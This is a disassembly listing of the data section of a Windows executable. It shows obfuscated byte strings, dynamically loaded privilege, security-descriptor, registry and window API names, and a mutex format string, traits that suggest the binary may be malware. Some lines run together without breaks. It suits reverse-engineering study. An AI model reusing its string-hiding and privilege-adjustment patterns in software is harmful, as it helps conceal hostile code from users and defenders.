dword_44E454	dd 456A0001h			db 0
byte_44E459	db 12h,	0, 2Eh		; DATA XREF: sub_43D7AB:loc_43D7DDo
		dd 5A4D5D43h, 5D715D42h, 5B5A4F5Ah, 5C4F4C5Dh
		db 1Dh,	1Ch, 0
byte_44E46F	db 0Eh			; DATA XREF: sub_43D7AB+10o
		dd 71441000h, 7E794772h, 53677F74h, 6363717Ch
		db 0
byte_44E481	db 5, 0, 0BDh		; DATA XREF: sub_43D4AD+2ABo
aSSs		db '˜Îá˜Î',0
word_44E48A	dw 5			; DATA XREF: sub_43D4AD+23Do
aCUc		db 'Â籞ç±',0
byte_44E493	db 4			; DATA XREF: sub_43D4AD+17o
		dd 0A1F7D200h
		db 8Eh,	0F8h, 0
byte_44E49B	db 0			; DATA XREF: sub_43D16C+303o
		dd 73256500h, 5C7325h
dword_44E4A4	dd 0B7920005h, 0CEE1B7E1h		db 0
byte_44E4AD	db 2 dup(0), 1Dh	; DATA XREF: sub_43D16C+BFo
		dd 2A7325h
dword_44E4B4	dd 0D0F50004h, 0A9CF96hdword_44E4BC	dd 44030000h, 47707369h, 61507465h, 6D6172hdword_44E4CC	dd 56480000h, 61697261h, 6E49746Eh		db 69h,	74h, 0
byte_44E4DB	db 0			; DATA XREF: sub_43CE34+6Bo
		dd 61561F00h, 6E616972h, 656C4374h
		db 61h,	72h, 0
byte_44E4EB	db 0			; DATA XREF: sub_43CE34+4Fo
		dd 79539A00h, 65724673h, 72745365h, 676E69h
dword_44E4FC	dd 538D0000h, 6C417379h, 53636F6Ch, 6E697274h
					; DATA XREF: sub_43CE34:loc_43CE67o
		db 67h,	0
word_44E50E	dw 0			; DATA XREF: sub_43CE34+1Co
		dd 656C6F05h, 33747561h, 6C642E32h
		db 6Ch,	0
word_44E51E	dw 0			; DATA XREF: sub_43CE34+1o
aOleaut32_dll	db 'Éoleaut32.dll',0
word_44E52E	dw 16h			; DATA XREF: sub_43BE21+DD6o
		db  0Fh
aLcfld@aljLAFaz	db 'Lcfld/@alj/[`/L`a{fazj',0
dword_44E548	dd 64260006h, 69727273h		db 68h,	0
word_44E552	dw 1Eh			; DATA XREF: sub_43BE21+D2Fo
		dd 0D05185Dh, 91C0F14h,	7D131214h, 18091C19h, 1C575757h
		dd 0D7D1009h, 1E7D1314h, 181912h
dword_44E574	dd 6A390006h, 706D786Dh		db 7Ah,	0
word_44E57E	dw 0			; DATA XREF: sub_43BE21+C53o
		db 15h,	0
word_44E582	dw 4			; DATA XREF: sub_43BE21+C43o
aOnc		db '*onc~',0
word_44E58A	dw 6			; DATA XREF: sub_43BE21+BB6o
a9_9		db 0Bh,'9;.%9~',0
dword_44E594	dd 0E4C10004h, 0B4F3EFhdword_44E59C	dd 6D0000h	dword_44E5A0	dd 82C10008h, 8E838C8Eh, 998E83hdword_44E5AC	dd 0C80000h	dword_44E5B0	dd 0EEAD0008h, 0E2EFE0E2h, 0F5E2EFhdword_44E5BC	dd 0A4F70006h, 0BEA3B6A3h		db 0B4h, 0
word_44E5C6	dw 6Eh			; DATA XREF: sub_43BE21:loc_43C6D0o
		dd 0E013A6Fh, 4F0A030Dh, 0E4F001Bh, 71B1Ah, 0A15061Dh
		dd 1C4A6541h, 1D1F4Fh, 1C1C0A0Ch, 4F080106h, 1B010A0Ch
		dd 64F1D0Ah, 11A4F1Ch, 0A030D0Eh, 4F001B4Fh, 71B1A0Eh
		dd 15061D00h, 164F0Ah, 0C4F1D1Ah, 4F0B1D0Eh, 65411C4Ah
		dd 0A040E22h, 1D000C4Fh, 1B0C0A1Dh, 1C010006h, 0B010E4Fh
		dd 161D1B4Fh, 0E080E4Fh, 410106h
dword_44E638	dd 1558000Ah, 3D2C2B39h, 2A391B2Ah		db 3Ch,	0
word_44E646	dw 4			; DATA XREF: sub_43BE21+87Do
aU		db 'žÈ×Íß',0
word_44E64E	dw 1			; DATA XREF: sub_43BE21+7B6o
		db 44h,	64h, 0
byte_44E653	db 6			; DATA XREF: sub_43BE21+7A6o
		dd 71762500h, 666C7164h
		db 0
byte_44E65D	db 2 dup(0), 80h	; DATA XREF: sub_43BE21+682o
		db 0
byte_44E661	db 6, 0, 0A7h		; DATA XREF: sub_43BE21+672o
		dd 0F3E6F3F4h
		db 0EEh, 0E4h, 0
byte_44E66B	db 15h			; DATA XREF: sub_43BE21+5F2o
		dd 0DEF4FE00h, 0ACAEDEDEh, 0ADBBBDB1h, 0B9B0B7ADh, 0B7BFB8DEh
		dd 0BABBB2h
dword_44E684	dd 0BBE80006h, 0A1BCA9BCh		db 0ABh, 0
word_44E68E	dw 6			; DATA XREF: sub_43BE21+4E3o
		dd 4A50503Bh, 434D16h
dword_44E698	dd 5D180008h, 77746860h, 6A7D6Ahdword_44E6A4	dd 0F6B20009h, 0D0FDD1DDh, 0C6D1D7D8h		db 0
byte_44E6B1	db 0Eh,	0, 13h		; DATA XREF: sub_43BE21+430o
		dd 44717247h, 7C777D7Ah, 727F5064h, 6060h
dword_44E6C4	dd 9, 0B0069h, 0F000Ch,	1B0006h, 2C000Ch, 0D0007h
					; DATA XREF: sub_43BC02+1BDo
		db 2 dup(0)
word_44E6DE	dw 5Fh			; DATA XREF: sub_43BC02+118o
		dd 4743162Ah, 435D0A4Dh, 17425E4Eh, 4F420A1Ah, 5E424D43h
		dd 480A1A17h, 4F4E5845h, 0A1A1758h, 17495859h, 5A5E5E42h
		dd 0F050510h, 17421559h, 430C590Fh, 0F5F0F17h, 17450C59h
		dd 4C0C5F0Fh, 0C490F17h, 0F174359h, 45590C59h, 0C5F0F17h
		dd 0F17465Eh, 175C0C5Fh, 4E0C5F0Fh, 14590F17h
		db 0
byte_44E741	db 2Ch,	0, 17h		; DATA XREF: sub_43BC02+C3o
		dd 707A7E2Bh, 737E6037h, 272A7F63h, 7E727F37h, 2A637F70h
		dd 78753727h, 65727365h, 6437272Ah, 322A7465h, 71283864h
		dd 2974322Ah
		db 0
byte_44E771	db 7, 0, 0B7h		; DATA XREF: sub_43BC02+5Ao
aLIlsI		db '‹Õ‰‹˜Õ‰',0
dword_44E77C	dd 80A50004h, 0F99FC6hdword_44E784	dd 0D6F30004h, 0ABC1DDhdword_44E78C	dd 51740001h			db 0
byte_44E791	db 2, 0, 0F1h		; DATA XREF: sub_43B638:loc_43B677o
		db 0D4h, 92h, 0
byte_44E797	db 0			; DATA XREF: sub_43B3E1+1BBo
		dd 65533900h, 6C694674h, 63655365h, 74697275h
		db 79h,	41h, 0
byte_44E7AB	db 0			; DATA XREF: sub_43B3E1+19Fo
		dd 65474800h, 64695374h, 41627553h, 6F687475h, 79746972h
		dd 6E756F43h
		db 74h,	0
word_44E7C6	dw 0			; DATA XREF: sub_43B3E1+183o
aRgetsidsubauth	db 'GetSidSubAuthority',0
dword_44E7DC	dd 478A0000h, 69537465h, 65644964h, 6669746Eh, 41726569h
					; DATA XREF: sub_43B3E1+167o
		dd 6F687475h, 79746972h
		db 0
byte_44E7F9	db 2 dup(0), 7Bh	; DATA XREF: sub_43B3E1+14Bo
aSetsecuritydes	db 'SetSecurityDescriptorOwner',0
byte_44E817	db 0			; DATA XREF: sub_43B3E1+12Fo
		db    0
		db 0F6h, 53h, 65h
aTsecuritydescr	db 'tSecurityDescriptorDacl',0
unk_44E834	db    0			; DATA XREF: sub_43B3E1+113o
		align 2
aDinitializesec	db 'DInitializeSecurityDescriptor',0
dword_44E854	dd 41020000h, 73756A64h, 6B6F5474h, 72506E65h, 6C697669h
					; DATA XREF: sub_43B3E1+F7o
		dd 73656765h
		db 0
byte_44E86D	db 2 dup(0), 46h	; DATA XREF: sub_43B3E1+DBo
aGettokeninform	db 'GetTokenInformation',0
dword_44E884	dd 4C110000h, 756B6F6Fh, 69725070h, 656C6976h, 61566567h
					; DATA XREF: sub_43B3E1+BFo
		dd 4165756Ch
		db 0
byte_44E89D	db 2 dup(0), 8Ch	; DATA XREF: sub_43B3E1+A3o
aOpenprocesstok	db 'OpenProcessToken',0
byte_44E8B1	db 2 dup(0), 7Ah	; DATA XREF: sub_43B3E1+87o
aGetusernamea	db 'GetUserNameA',0
byte_44E8C1	db 2 dup(0), 3		; DATA XREF: sub_43B3E1+6Bo
aRegclosekey_0	db 'RegCloseKey',0
dword_44E8D0	dd 527F0000h, 75516765h, 56797265h, 65756C61h, 417845h
					; DATA XREF: sub_43B3E1+4Fo
dword_44E8E4	dd 52EB0000h, 704F6765h, 654B6E65h, 41784579h
					; DATA XREF: sub_43B3E1:loc_43B414o
		db 0
byte_44E8F5	db 0Ch,	0, 3Ah		; DATA XREF: sub_43B3E1+1Co
		dd 5B4C5E5Bh, 809534Ah,	56565E14h
		db 0
byte_44E905	db 2 dup(0), 28h	; DATA XREF: sub_43B3E1+1o
aAdvapi32_dll_0	db 'advapi32.dll',0
byte_44E915	db 2 dup(0), 6Bh	; DATA XREF: sub_43B380+33o
		db 5Ch,	0
word_44E91A	dw 0			; DATA XREF: sub_43AFA1+2EFo
aEnumdesktopwin	db '½EnumDesktopWindows',0
dword_44E930	dd 468D0000h, 57646E69h, 6F646E69h, 41784577h		db 0
byte_44E941	db 2 dup(0), 6Dh	; DATA XREF: sub_43AFA1+2B7o
aTranslatemessa	db 'TranslateMessage',0
byte_44E955	db 2 dup(0), 8		; DATA XREF: sub_43AFA1+29Bo
aShowwindow	db 'ShowWindow',0
byte_44E963	db 0			; DATA XREF: sub_43AFA1+27Fo
		dd 65534500h, 6E695774h, 54776F64h, 41747865h
		db 0
byte_44E975	db 2 dup(0), 30h	; DATA XREF: sub_43AFA1+263o
aSetwindowlonga	db 'SetWindowLongA',0
byte_44E987	db 0			; DATA XREF: sub_43AFA1+247o
		dd 6553A100h, 6D695474h
		db 65h,	72h, 0
byte_44E993	db 0			; DATA XREF: sub_43AFA1+22Bo
		dd 65536800h, 636F4674h
		db 75h,	73h, 0
byte_44E99F	db 0			; DATA XREF: sub_43AFA1+20Fo
		dd 6553B900h, 654D646Eh, 67617373h
		db 65h,	41h, 0
byte_44E9AF	db 0			; DATA XREF: sub_43AFA1+1F3o
		dd 6552E300h, 74736967h, 6C437265h, 41737361h
		db 0
byte_44E9C1	db 2 dup(0), 0A6h	; DATA XREF: sub_43AFA1+1D7o
aMovewindow	db 'MoveWindow',0
byte_44E9CF	db 0			; DATA XREF: sub_43AFA1+1BBo
		dd 654DC300h, 67617373h, 786F4265h
		db 41h,	0
word_44E9DE	dw 0			; DATA XREF: sub_43AFA1+19Fo
aCloadicona	db 'CLoadIconA',0
byte_44E9EB	db 0			; DATA XREF: sub_43AFA1+183o
		dd 6F4CB700h, 75436461h, 726F7372h
		db 41h,	0
word_44E9FA	dw 0			; DATA XREF: sub_43AFA1+167o
aCgetwindowtext	db '—GetWindowTextA',0
dword_44EA0C	dd 47BF0000h, 69577465h, 776F646Eh, 74636552h		db 0
byte_44EA1D	db 2 dup(0), 0Ch	; DATA XREF: sub_43AFA1+12Fo
aGetwindowlonga	db 'GetWindowLongA',0
byte_44EA2F	db 0			; DATA XREF: sub_43AFA1+113o
		dd 6547FA00h, 6E695774h, 776F64h
dword_44EA3C	dd 47130000h, 654D7465h, 67617373h		db 65h,	41h, 0
byte_44EA4B	db 0			; DATA XREF: sub_43AFA1+DBo
		dd 6547BF00h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
		db 77h,	0
word_44EA62	dw 0			; DATA XREF: sub_43AFA1+BFo
aXgetclassnamea	db 'xGetClassNameA',0
byte_44EA73	db 0			; DATA XREF: sub_43AFA1+A3o
		dd 6944A600h, 74617073h, 654D6863h, 67617373h
		db 65h,	41h, 0
byte_44EA87	db 0			; DATA XREF: sub_43AFA1+87o
		dd 6544AB00h, 6F727473h, 6E695779h, 776F64h
dword_44EA98	dd 44E00000h, 69576665h, 776F646Eh, 636F7250h		db 41h,	0
word_44EAAA	dw 0			; DATA XREF: sub_43AFA1+4Fo
		dd 6572431Fh, 57657461h, 6F646E69h, 41784577h
		db 0
byte_44EABD	db 2 dup(0), 29h	; DATA XREF: sub_43AFA1:loc_43AFD4o
aCallwindowproc	db 'CallWindowProcA',0
asc_44EAD0	db 0Ah,0		; DATA XREF: sub_43AFA1+1Co
aVSrm		db '¢×ÑÇБŒÆÎÎ',0
word_44EADE	dw 0			; DATA XREF: sub_43AFA1+1o
a1user32_dll	db '1user32.dll',0
dword_44EAEC	dd 47A10000h, 74537465h, 4F6B636Fh, 63656A62h		db 74h,	0
word_44EAFE	dw 0			; DATA XREF: sub_43AD9A:loc_43ADCDo
aCreatefonta	db 'ÞCreateFontA',0
asc_44EB0D	db 9,0			; DATA XREF: sub_43AD9A+1Co
aSjeiEnn	db 'ᆅˆÒÓÏ…',0
word_44EB1A	dw 0			; DATA XREF: sub_43AD9A+1o
aXgdi32_dll	db 'xgdi32.dll',0
byte_44EB27	db 5			; DATA XREF: sub_43A8A3+245o
		dd 4D1B3E00h, 4D1B62h
dword_44EB30	dd 8FAA0005h, 0D98FF6D9h		db 0
byte_44EB39	db 4, 0, 42h		; DATA XREF: sub_43A8A3+Fo
		dd 681E3167h
		db 0
byte_44EB41	db 11h,	0, 86h		; DATA XREF: sub_43A6D4+24o
		dd 0E3F2E8CFh, 0F2E3E8F4h, 0F6FEC3A6h, 0E3F4E9EAh
		db 0F4h, 0
word_44EB56	dw 0			; DATA XREF: sub_43A39F+1E0o
aIkkqVx		db 'ëkkq-vx',0
dword_44EB60	dd 6BA10000h, 762D716Bh		db 78h,	0
word_44EB6A	dw 0			; DATA XREF: sub_43A39F+15Fo
aGkkqVx		db 'gkkq-vx',0
dword_44EB74	dd 6B660000h, 762D716Bh		db 78h,	0
word_44EB7E	dw 0			; DATA XREF: sub_43A39F+DDo
aS_mtxU_0	db 'Å%s_mtx%u',0
word_44EB8A	dw 0			; DATA XREF: sub_43A39F+ABo
aKkqVx		db 'Ìkkq-vx',0
dword_44EB94	dd 25670000h, 746D5F73h		db 78h,	31h, 0
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
					; DATA XREF: .data:off_44D27Co
		db '://',0
dword_44EBE4	dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_44EBF4	dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h					; sub_43B947+1E9o ...
dword_44EC04	dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
					; DATA XREF: sub_43A324:loc_43A370o
					; sub_43AE0A+D7o ...
dword_44EC14	dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
					; DATA XREF: sub_43B5BD:loc_43B609o
dword_44EC24	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_44EC34	dd 20400h, 0						; sub_43B5BD:loc_43B5E9o ...
		dd 0C0h, 46000000h
dword_44EC44	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh					; sub_43E8B9+CEo ...
dword_44EC54	dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_4435CB+68o
dword_44EC64	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_441138+A85o ...
dword_44EC74	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_44EC84	dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_44EC94	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_44ECA4	dd 7BF80981h, 101ABF32h, 0AA00BB8Bh, 0AB0C3000hdword_44ECB4	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_44ECC4	dd 2 dup(0)						; sub_43B5BD+Co ...
		dd 0C0h, 46000000h
dword_44ECD4	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh					; sub_43B947+111o ...
dword_44ECE4	dd 10h dup(0)						; sub_444F64:loc_444F7Eo ...
dword_44ED24	dd 0							; sub_444F08:loc_444F4Ao ...
		dd 0Fh dup(0)
dword_44ED64	dd 0							; sub_44506D+825r
dword_44ED68	dd 0							; sub_44506D+82Cr
dword_44ED6C	dd 0							; sub_44506D+834r
dword_44ED70	dd 0							; sub_44506D+83Cr
		align 100h
_data		ends

; Section 7. (virtual address 0004F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004EE00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44F000h
		dd 2Bh dup(0)
dword_44F0AC	dd 0		dword_44F0B0	dd 0		dword_44F0B4	dd 0				align 10h
dword_44F0C0	dd 0		dword_44F0C4	dd 0		dword_44F0C8	dd 0		dword_44F0CC	dd 0		dword_44F0D0	dd 0		dword_44F0D4	dd 0		dword_44F0D8	dd 0		dword_44F0DC	dd 0				align 1000h
_idata2		ends


		end start